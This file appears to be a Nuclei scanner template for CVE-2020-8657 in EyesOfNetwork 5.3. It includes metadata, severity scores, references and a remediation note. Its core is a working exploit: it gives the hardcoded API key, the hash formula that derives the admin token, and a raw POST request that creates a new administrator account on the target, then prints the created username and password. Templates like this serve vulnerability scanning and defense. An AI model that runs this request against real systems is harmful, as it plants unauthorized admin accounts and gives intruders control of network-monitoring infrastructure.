id: CVE-2020-8657

info:
  name: EyesOfNetwork - Hardcoded API Key
  author: daffainfo
  severity: critical
  description: |
    An issue was discovered in EyesOfNetwork 5.3. The installation uses the same API key (hardcoded as EONAPI_KEY in include/api_functions.php for API version 2.4.2) by default for all installations, hence allowing an attacker to calculate/guess the admin access token.
  impact: |
    Successful exploitation allows an attacker to create administrative users and gain unauthorized access to the EyesOfNetwork management system.
  remediation: |
    Upgrade to a newer version of EyesOfNetwork or change the default hardcoded API key in the configuration.
  reference:
    - https://www.exploit-db.com/exploits/48025
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8657
  classification:
    cve-id: CVE-2020-8657
    epss-score: 0.88863
    epss-percentile: 0.99534
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-798
    cpe: cpe:2.3:a:eyesofnetwork:eyesofnetwork:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: eyesofnetwork
    product: eyesofnetwork
    shodan-query: html:"EyesOfNetwork"
    fofa-query: title="EyesOfNetwork"
  tags: cve,cve2020,eyesofnetwork,hardcoded-key,kev,vkev,vuln

variables:
  key: "€On@piK3Y"
  userid: "1"
  username: "{{randstr}}"
  password: "{{randstr}}"

http:
  - raw:
      - |
        POST /eonapi/createEonUser?username=admin&apiKey={{ sha256(md5(key + userid) + Host) }} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"user_name":"{{username}}","user_group":"admins","user_password":"{{password}}"}

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"api_version"'
          - "200 OK"
          - "A new user have been successfully inserted"
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

    extractors:
      - type: dsl
        dsl:
          - '"Username: " + username + ". Password: "+ password'
# digest: 4b0a00483046022100a2751d1f6b47d3cafcbb66cc0516a50b3dddc4652bf18ac79767370311af8cd302210080eb09873a6713aee1463226883e73c89149f9d074176e36a5210ed0a8e485f8:922c64590222798bb761d5b6d8e72950